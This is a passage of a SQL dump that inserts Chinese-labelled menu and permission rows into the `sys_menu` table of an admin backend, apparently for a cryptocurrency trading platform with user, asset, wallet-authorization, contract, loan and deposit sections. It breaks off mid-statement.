'', 1, 0, 'C', '0', '0', 'system:post:list', 'post', 'admin', '2023-06-24 15:31:37', '', NULL, '岗位管理菜单'); +INSERT INTO `sys_menu` VALUES (105, '字典管理', 1, 6, 'dict', 'system/dict/index', '', 1, 0, 'C', '0', '0', 'system:dict:list', 'dict', 'admin', '2023-06-24 15:31:37', '', NULL, '字典管理菜单'); +INSERT INTO `sys_menu` VALUES (106, '参数设置', 1, 7, 'config', 'system/config/index', '', 1, 0, 'C', '0', '0', 'system:config:list', 'edit', 'admin', '2023-06-24 15:31:37', '', NULL, '参数设置菜单'); +INSERT INTO `sys_menu` VALUES (107, '通知公告', 1, 8, 'notice', 'system/notice/index', '', 1, 0, 'C', '0', '0', 'system:notice:list', 'message', 'admin', '2023-06-24 15:31:37', 'admin', '2023-07-31 14:11:32', '通知公告菜单'); +INSERT INTO `sys_menu` VALUES (108, '日志管理', 1, 9, 'log', '', '', 1, 0, 'M', '0', '0', '', 'log', 'admin', '2023-06-24 15:31:37', '', NULL, '日志管理菜单'); +INSERT INTO `sys_menu` VALUES (109, '在线用户', 2269, 1, 'online', 'monitor/online/index', '', 1, 0, 'C', '0', '0', 'monitor:online:list', 'online', 'admin', '2023-06-24 15:31:37', 'admin', '2023-08-22 21:17:57', '在线用户菜单'); +INSERT INTO `sys_menu` VALUES (110, '定时任务', 2, 2, 'job', 'monitor/job/index', '', 1, 0, 'C', '0', '0', 'monitor:job:list', 'job', 'admin', '2023-06-24 15:31:37', '', NULL, '定时任务菜单'); +INSERT INTO `sys_menu` VALUES (111, '数据监控', 2, 3, 'druid', 'monitor/druid/index', '', 1, 0, 'C', '0', '0', 'monitor:druid:list', 'druid', 'admin', '2023-06-24 15:31:37', '', NULL, '数据监控菜单'); +INSERT INTO `sys_menu` VALUES (112, '服务监控', 2, 4, 'server', 'monitor/server/index', '', 1, 0, 'C', '0', '0', 'monitor:server:list', 'server', 'admin', '2023-06-24 15:31:37', '', NULL, '服务监控菜单'); +INSERT INTO `sys_menu` VALUES (113, '缓存监控', 2, 5, 'cache', 'monitor/cache/index', '', 1, 0, 'C', '0', '0', 'monitor:cache:list', 'redis', 'admin', '2023-06-24 15:31:37', '', NULL, '缓存监控菜单'); +INSERT INTO `sys_menu` VALUES (114, '缓存列表', 2, 6, 'cacheList', 'monitor/cache/list', '', 1, 0, 'C', '0', '0', 'monitor:cache:list', 'redis-list', 'admin', '2023-06-24 15:31:37', '', NULL, '缓存列表菜单'); +INSERT INTO `sys_menu` VALUES (115, '表单构建', 3, 1, 'build', 'tool/build/index', '', 1, 0, 'C', '0', '0', 'tool:build:list', 'build', 'admin', '2023-06-24 15:31:37', '', NULL, '表单构建菜单'); +INSERT INTO `sys_menu` VALUES (116, '代码生成', 3, 2, 'gen', 'tool/gen/index', '', 1, 0, 'C', '0', '0', 'tool:gen:list', 'code', 'admin', '2023-06-24 15:31:37', '', NULL, '代码生成菜单'); +INSERT INTO `sys_menu` VALUES (117, '系统接口', 3, 3, 'swagger', 'tool/swagger/index', '', 1, 0, 'C', '0', '0', 'tool:swagger:list', 'swagger', 'admin', '2023-06-24 15:31:37', '', NULL, '系统接口菜单'); +INSERT INTO `sys_menu` VALUES (500, '操作日志', 108, 1, 'operlog', 'monitor/operlog/index', '', 1, 0, 'C', '0', '0', 'monitor:operlog:list', 'form', 'admin', '2023-06-24 15:31:37', '', NULL, '操作日志菜单'); +INSERT INTO `sys_menu` VALUES (501, '登录日志', 108, 2, 'logininfor', 'monitor/logininfor/index', '', 1, 0, 'C', '0', '0', 'monitor:logininfor:list', 'logininfor', 'admin', '2023-06-24 15:31:37', '', NULL, '登录日志菜单'); +INSERT INTO `sys_menu` VALUES (1000, '用户查询', 100, 1, '', '', '', 1, 0, 'F', '0', '0', 'system:user:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1001, '用户新增', 100, 2, '', '', '', 1, 0, 'F', '0', '0', 'system:user:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1002, '用户修改', 100, 3, '', '', '', 1, 0, 'F', '0', '0', 'system:user:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1003, '用户删除', 100, 4, '', '', '', 1, 0, 'F', '0', '0', 'system:user:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1004, '用户导出', 100, 5, '', '', '', 1, 0, 'F', '0', '0', 'system:user:export', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1005, '用户导入', 100, 6, '', '', '', 1, 0, 'F', '0', '0', 'system:user:import', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1006, '重置密码', 100, 7, '', '', '', 1, 0, 'F', '0', '0', 'system:user:resetPwd', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1007, '角色查询', 101, 1, '', '', '', 1, 0, 'F', '0', '0', 'system:role:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1008, '角色新增', 101, 2, '', '', '', 1, 0, 'F', '0', '0', 'system:role:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1009, '角色修改', 101, 3, '', '', '', 1, 0, 'F', '0', '0', 'system:role:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1010, '角色删除', 101, 4, '', '', '', 1, 0, 'F', '0', '0', 'system:role:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1011, '角色导出', 101, 5, '', '', '', 1, 0, 'F', '0', '0', 'system:role:export', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1012, '菜单查询', 102, 1, '', '', '', 1, 0, 'F', '0', '0', 'system:menu:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1013, '菜单新增', 102, 2, '', '', '', 1, 0, 'F', '0', '0', 'system:menu:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1014, '菜单修改', 102, 3, '', '', '', 1, 0, 'F', '0', '0', 'system:menu:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1015, '菜单删除', 102, 4, '', '', '', 1, 0, 'F', '0', '0', 'system:menu:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1016, '部门查询', 103, 1, '', '', '', 1, 0, 'F', '0', '0', 'system:dept:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1017, '部门新增', 103, 2, '', '', '', 1, 0, 'F', '0', '0', 'system:dept:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1018, '部门修改', 103, 3, '', '', '', 1, 0, 'F', '0', '0', 'system:dept:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1019, '部门删除', 103, 4, '', '', '', 1, 0, 'F', '0', '0', 'system:dept:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1020, '岗位查询', 104, 1, '', '', '', 1, 0, 'F', '0', '0', 'system:post:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1021, '岗位新增', 104, 2, '', '', '', 1, 0, 'F', '0', '0', 'system:post:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1022, '岗位修改', 104, 3, '', '', '', 1, 0, 'F', '0', '0', 'system:post:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1023, '岗位删除', 104, 4, '', '', '', 1, 0, 'F', '0', '0', 'system:post:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1024, '岗位导出', 104, 5, '', '', '', 1, 0, 'F', '0', '0', 'system:post:export', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1025, '字典查询', 105, 1, '#', '', '', 1, 0, 'F', '0', '0', 'system:dict:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1026, '字典新增', 105, 2, '#', '', '', 1, 0, 'F', '0', '0', 'system:dict:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1027, '字典修改', 105, 3, '#', '', '', 1, 0, 'F', '0', '0', 'system:dict:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1028, '字典删除', 105, 4, '#', '', '', 1, 0, 'F', '0', '0', 'system:dict:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1029, '字典导出', 105, 5, '#', '', '', 1, 0, 'F', '0', '0', 'system:dict:export', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1030, '参数查询', 106, 1, '#', '', '', 1, 0, 'F', '0', '0', 'system:config:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1031, '参数新增', 106, 2, '#', '', '', 1, 0, 'F', '0', '0', 'system:config:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1032, '参数修改', 106, 3, '#', '', '', 1, 0, 'F', '0', '0', 'system:config:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1033, '参数删除', 106, 4, '#', '', '', 1, 0, 'F', '0', '0', 'system:config:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1034, '参数导出', 106, 5, '#', '', '', 1, 0, 'F', '0', '0', 'system:config:export', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1035, '公告查询', 107, 1, '#', '', '', 1, 0, 'F', '0', '0', 'system:notice:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1036, '公告新增', 107, 2, '#', '', '', 1, 0, 'F', '0', '0', 'system:notice:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1037, '公告修改', 107, 3, '#', '', '', 1, 0, 'F', '0', '0', 'system:notice:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1038, '公告删除', 107, 4, '#', '', '', 1, 0, 'F', '0', '0', 'system:notice:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1039, '操作查询', 500, 1, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:operlog:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1040, '操作删除', 500, 2, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:operlog:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1041, '日志导出', 500, 3, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:operlog:export', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1042, '登录查询', 501, 1, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:logininfor:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1043, '登录删除', 501, 2, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:logininfor:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1044, '日志导出', 501, 3, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:logininfor:export', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1045, '账户解锁', 501, 4, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:logininfor:unlock', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1046, '在线查询', 109, 1, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:online:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1047, '批量强退', 109, 2, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:online:batchLogout', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1048, '单条强退', 109, 3, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:online:forceLogout', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1049, '任务查询', 110, 1, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:job:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1050, '任务新增', 110, 2, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:job:add', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1051, '任务修改', 110, 3, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:job:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1052, '任务删除', 110, 4, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:job:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1053, '状态修改', 110, 5, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:job:changeStatus', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1054, '任务导出', 110, 6, '#', '', '', 1, 0, 'F', '0', '0', 'monitor:job:export', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1055, '生成查询', 116, 1, '#', '', '', 1, 0, 'F', '0', '0', 'tool:gen:query', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1056, '生成修改', 116, 2, '#', '', '', 1, 0, 'F', '0', '0', 'tool:gen:edit', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1057, '生成删除', 116, 3, '#', '', '', 1, 0, 'F', '0', '0', 'tool:gen:remove', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1058, '导入代码', 116, 4, '#', '', '', 1, 0, 'F', '0', '0', 'tool:gen:import', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1059, '预览代码', 116, 5, '#', '', '', 1, 0, 'F', '0', '0', 'tool:gen:preview', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (1060, '生成代码', 116, 6, '#', '', '', 1, 0, 'F', '0', '0', 'tool:gen:code', '#', 'admin', '2023-06-24 15:31:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2015, '账变信息', 2092, 0, 'record', 'bussiness/record/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:record:list', '#', 'admin', '2023-06-27 02:39:38', 'admin', '2023-07-12 20:29:06', '用户信息菜单'); +INSERT INTO `sys_menu` VALUES (2016, '用户信息查询', 2015, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:record:query', '#', 'admin', '2023-06-27 02:39:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2017, '用户信息新增', 2015, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:record:add', '#', 'admin', '2023-06-27 02:39:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2018, '用户信息修改', 2015, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:record:edit', '#', 'admin', '2023-06-27 02:39:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2019, '用户信息删除', 2015, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:record:remove', '#', 'admin', '2023-06-27 02:39:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2020, '用户信息导出', 2015, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:record:export', '#', 'admin', '2023-06-27 02:39:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2021, '授权管理', 2039, 2, 'info', 'bussiness/info/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:info:list', '#', 'admin', '2023-06-27 02:39:47', 'admin', '2023-07-12 20:04:06', '钱包地址授权详情菜单'); +INSERT INTO `sys_menu` VALUES (2022, '监控额度', 2021, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:info:query', '#', 'admin', '2023-06-27 02:39:47', 'admin', '2023-08-29 11:09:38', ''); +INSERT INTO `sys_menu` VALUES (2023, '钱包地址授权详情新增', 2021, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:info:add', '#', 'admin', '2023-06-27 02:39:47', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2024, '钱包地址授权详情修改', 2021, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:info:edit', '#', 'admin', '2023-06-27 02:39:47', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2025, '钱包地址授权详情删除', 2021, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:info:remove', '#', 'admin', '2023-06-27 02:39:47', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2026, '钱包地址授权详情导出', 2021, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:info:export', '#', 'admin', '2023-06-27 02:39:47', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2027, '玩家资产', 2039, 3, 'asset', 'bussiness/asset/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:asset:list', '#', 'admin', '2023-06-27 02:39:53', 'admin', '2023-06-27 02:43:25', '玩家资产菜单'); +INSERT INTO `sys_menu` VALUES (2028, '玩家资产查询', 2027, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:asset:query', '#', 'admin', '2023-06-27 02:39:53', 'admin', '2023-08-22 19:47:27', ''); +INSERT INTO `sys_menu` VALUES (2029, '玩家资产新增', 2027, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:asset:add', '#', 'admin', '2023-06-27 02:39:53', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2030, '玩家资产修改', 2027, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:asset:edit', '#', 'admin', '2023-06-27 02:39:53', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2031, '玩家资产删除', 2027, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:asset:remove', '#', 'admin', '2023-06-27 02:39:53', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2032, '玩家资产导出', 2027, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:asset:export', '#', 'admin', '2023-06-27 02:39:53', 'admin', '2023-08-22 19:47:05', ''); +INSERT INTO `sys_menu` VALUES (2033, '玩家用户', 2039, 1, 'user', 'bussiness/user/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:user:list', '#', 'admin', '2023-06-27 02:40:01', 'admin', '2023-06-27 02:43:34', '玩家用户菜单'); +INSERT INTO `sys_menu` VALUES (2034, '玩家用户查询', 2033, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:user:query', '#', 'admin', '2023-06-27 02:40:01', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2035, '玩家用户新增', 2033, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:user:add', '#', 'admin', '2023-06-27 02:40:01', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2036, '玩家用户修改', 2033, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:user:edit', '#', 'admin', '2023-06-27 02:40:01', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2037, '玩家用户删除', 2033, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:user:remove', '#', 'admin', '2023-06-27 02:40:01', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2038, '玩家用户导出', 2033, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:user:export', '#', 'admin', '2023-06-27 02:40:01', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2039, '玩家管理', 0, 1, 'bussiness', NULL, NULL, 1, 0, 'M', '0', '0', '', 'user', 'admin', '2023-06-27 02:42:31', 'admin', '2023-07-06 15:12:03', ''); +INSERT INTO `sys_menu` VALUES (2040, '银行卡管理', 2039, 5, 'bank', 'bussiness/bank/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:userBank:list', '#', 'admin', '2023-07-05 18:19:18', 'admin', '2023-08-22 19:54:19', ''); +INSERT INTO `sys_menu` VALUES (2041, '登录日志', 2039, 7, 'login', 'bussiness/login/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:log:list', '#', 'admin', '2023-07-05 18:21:15', 'admin', '2023-08-11 16:44:26', ''); +INSERT INTO `sys_menu` VALUES (2042, '实名认证', 2039, 6, 'certified', 'bussiness/certified/index', NULL, 1, 1, 'C', '0', '0', 'bussiness:detail:list', '#', 'admin', '2023-07-05 18:22:44', 'admin', '2023-08-11 16:42:38', ''); +INSERT INTO `sys_menu` VALUES (2043, '理财管理', 0, 7, 'financial', NULL, NULL, 1, 0, 'M', '0', '0', '', 'documentation', 'admin', '2023-07-05 18:24:10', 'admin', '2023-07-12 20:02:29', ''); +INSERT INTO `sys_menu` VALUES (2048, '借贷管理', 0, 8, 'loan', NULL, NULL, 1, 0, 'M', '0', '0', '', 'excel', 'admin', '2023-07-05 18:50:33', 'admin', '2023-07-12 20:02:36', ''); +INSERT INTO `sys_menu` VALUES (2049, '借贷产品', 2048, 1, 'product', 'loan/product/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:load/product:list', '#', 'admin', '2023-07-05 18:51:24', 'admin', '2023-08-11 17:11:43', ''); +INSERT INTO `sys_menu` VALUES (2050, '借贷订单', 2048, 2, 'order', 'loan/order/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:loadOrder:orderList', '#', 'admin', '2023-07-05 18:51:46', 'admin', '2023-08-11 17:14:17', ''); +INSERT INTO `sys_menu` VALUES (2051, '秒合约管理', 0, 3, 'quickly', NULL, NULL, 1, 0, 'M', '0', '0', '', 'monitor', 'admin', '2023-07-05 18:52:03', 'admin', '2023-07-12 14:49:22', ''); +INSERT INTO `sys_menu` VALUES (2064, '币币交易', 0, 5, 'currency', NULL, NULL, 1, 0, 'M', '0', '0', '', 'list', 'admin', '2023-07-06 14:53:05', 'admin', '2023-07-27 17:19:30', ''); +INSERT INTO `sys_menu` VALUES (2066, 'U本位合约', 0, 4, 'uContract', NULL, NULL, 1, 0, 'M', '0', '0', '', 'table', 'admin', '2023-07-07 11:18:14', 'admin', '2023-07-12 14:49:32', ''); +INSERT INTO `sys_menu` VALUES (2067, '委托列表', 2066, 2, 'contractOrder', 'uContract/contractOrder/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:contractOrder:list', '#', 'admin', '2023-07-07 11:24:09', 'admin', '2023-08-11 16:49:05', ''); +INSERT INTO `sys_menu` VALUES (2069, '持仓列表', 2066, 3, 'positionOrderList', 'uContract/position/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:position:list', '#', 'admin', '2023-07-07 11:27:36', 'admin', '2023-08-11 16:50:28', ''); +INSERT INTO `sys_menu` VALUES (2070, '充提管理', 0, 2, 'deposit', NULL, NULL, 1, 0, 'M', '0', '0', '', 'clipboard', 'admin', '2023-07-07 13:20:16', 'admin', '2023-07-12 14:49:00', ''); +INSERT INTO `sys_menu` VALUES (2071, '充值列表', 2070, 1, 'rechargelist', 'deposit/recharge/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:recharge:list', '#', 'admin', '2023-07-07 13:26:09', 'admin', '2023-08-11 16:18:35', ''); +INSERT INTO `sys_menu` VALUES (2072, '提现列表', 2070, 2, 'withdrawlist', 'deposit/withdraw/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:withdraw:list', '#', 'admin', '2023-07-07 13:32:14', 'admin', '2023-08-11 16:21:28', ''); +INSERT INTO `sys_menu` VALUES (2075, '币币交易订单', 2064, 2, 'order', 'currency/order/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:currency:order:list', '#', 'admin', '2023-07-10 15:16:37', 'admin', '2023-08-22 20:53:13', ''); +INSERT INTO `sys_menu` VALUES (2077, '币种配置', 2051, 1, 'trade_pair', 'quickly/trade_pair/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:coin:config:list', 'example', 'admin', '2023-07-11 13:49:41', 'admin', '2023-08-11 16:27:51', ''); +INSERT INTO `sys_menu` VALUES (2080, '系统配置', 0, 9, '45', NULL, NULL, 1, 0, 'M', '0', '0', '', 'documentation', 'admin', '2023-07-11 18:26:27', 'admin', '2023-07-12 20:07:20', ''); +INSERT INTO `sys_menu` VALUES (2082, '秒合约订单', 2051, 2, 'order', 'quickly/order/index', NULL, 1, 0, 'C', '0', '0', 'secondContractOrder:order:list', 'clipboard', 'admin', '2023-07-12 19:36:24', 'admin', '2023-11-23 13:10:50', ''); +INSERT INTO `sys_menu` VALUES (2083, '币种配置', 2066, 1, 'configrution', 'uContract/configrution/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:ucontract:list', 'example', 'admin', '2023-07-12 19:48:00', 'admin', '2023-08-11 16:46:56', ''); +INSERT INTO `sys_menu` VALUES (2084, '币种配置', 2064, 1, 'configrution', 'currency/configrution/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:currency:symbol:list', 'example', 'admin', '2023-07-12 19:48:30', 'admin', '2023-08-22 14:43:43', ''); +INSERT INTO `sys_menu` VALUES (2085, '理财产品', 2043, 1, '/financial/productManage', 'financial/productManage/index', NULL, 1, 0, 'C', '0', '0', 'system:financial:list', 'druid', 'admin', '2023-07-12 19:50:24', '111', '2023-08-11 16:02:42', ''); +INSERT INTO `sys_menu` VALUES (2086, '理财订单', 2043, 2, '/financial/orderManage', 'financial/orderManage', NULL, 1, 0, 'C', '0', '0', 'bussiness:order:list', 'list', 'admin', '2023-07-12 19:50:50', 'admin', '2023-08-11 17:09:45', ''); +INSERT INTO `sys_menu` VALUES (2089, '兑换管理', 0, 6, 'swap', NULL, NULL, 1, 0, 'M', '0', '0', '', 'money', 'admin', '2023-07-12 20:02:18', 'admin', '2023-07-26 13:59:56', ''); +INSERT INTO `sys_menu` VALUES (2090, '币种管理', 2089, 1, '/bussiness/symbolmanage', 'bussiness/symbolmanage/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:symbolmanage:list', 'cascader', 'admin', '2023-07-12 20:03:16', 'admin', '2023-07-17 16:33:26', ''); +INSERT INTO `sys_menu` VALUES (2091, '兑换订单', 2089, 2, 'swap-order', 'bussiness/swapOrder/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:texchange:list', '#', 'admin', '2023-07-12 20:03:29', 'admin', '2023-08-11 17:07:15', ''); +INSERT INTO `sys_menu` VALUES (2092, '平台数据', 0, 0, 'platform', NULL, NULL, 1, 0, 'M', '0', '0', '', 'excel', 'admin', '2023-07-12 20:08:29', 'admin', '2023-08-14 11:38:09', ''); +INSERT INTO `sys_menu` VALUES (2093, '每日数据', 2092, 1, 'day/data', 'data/day/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:userStatistics:dailyData', '#', 'admin', '2023-07-12 20:09:14', 'admin', '2023-08-16 17:20:24', ''); +INSERT INTO `sys_menu` VALUES (2094, '代理数据', 2092, 2, 'agency', 'data/agency/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:userStatistics:agencyList', '#', 'admin', '2023-07-12 20:09:27', 'admin', '2023-08-11 18:38:53', ''); +INSERT INTO `sys_menu` VALUES (2096, '币种周期', 2051, 3, 'cycle', 'quickly/cycle/index', NULL, 1, 0, 'C', '1', '0', 'period:config:list', '#', 'admin', '2023-07-13 14:13:47', 'admin', '2023-08-11 16:39:47', ''); +INSERT INTO `sys_menu` VALUES (2098, '充提通道配置', 2080, 2, '/bussiness/chargingPutup', 'bussiness/chargingPutup/index', NULL, 1, 0, 'C', '1', '0', '', 'cascader', 'admin', '2023-07-13 16:45:55', 'admin', '2023-08-21 17:14:18', ''); +INSERT INTO `sys_menu` VALUES (2099, '第三方配置', 2080, 3, '/bussiness/smsConfiguration', 'bussiness/smsConfiguration/index', NULL, 1, 0, 'C', '0', '0', NULL, 'cascader', 'admin', '2023-07-14 10:34:04', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2100, '基础配置', 2080, 4, '/bussiness/basicConfiguration', 'bussiness/basicConfiguration/index', NULL, 1, 0, 'C', '0', '0', NULL, 'cascader', 'admin', '2023-07-14 11:22:55', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2102, '贷款配置', 2080, 5, '/bussiness/loanRate', 'bussiness/loanRate/index', NULL, 1, 0, 'C', '0', '0', '', 'cascader', 'admin', '2023-07-14 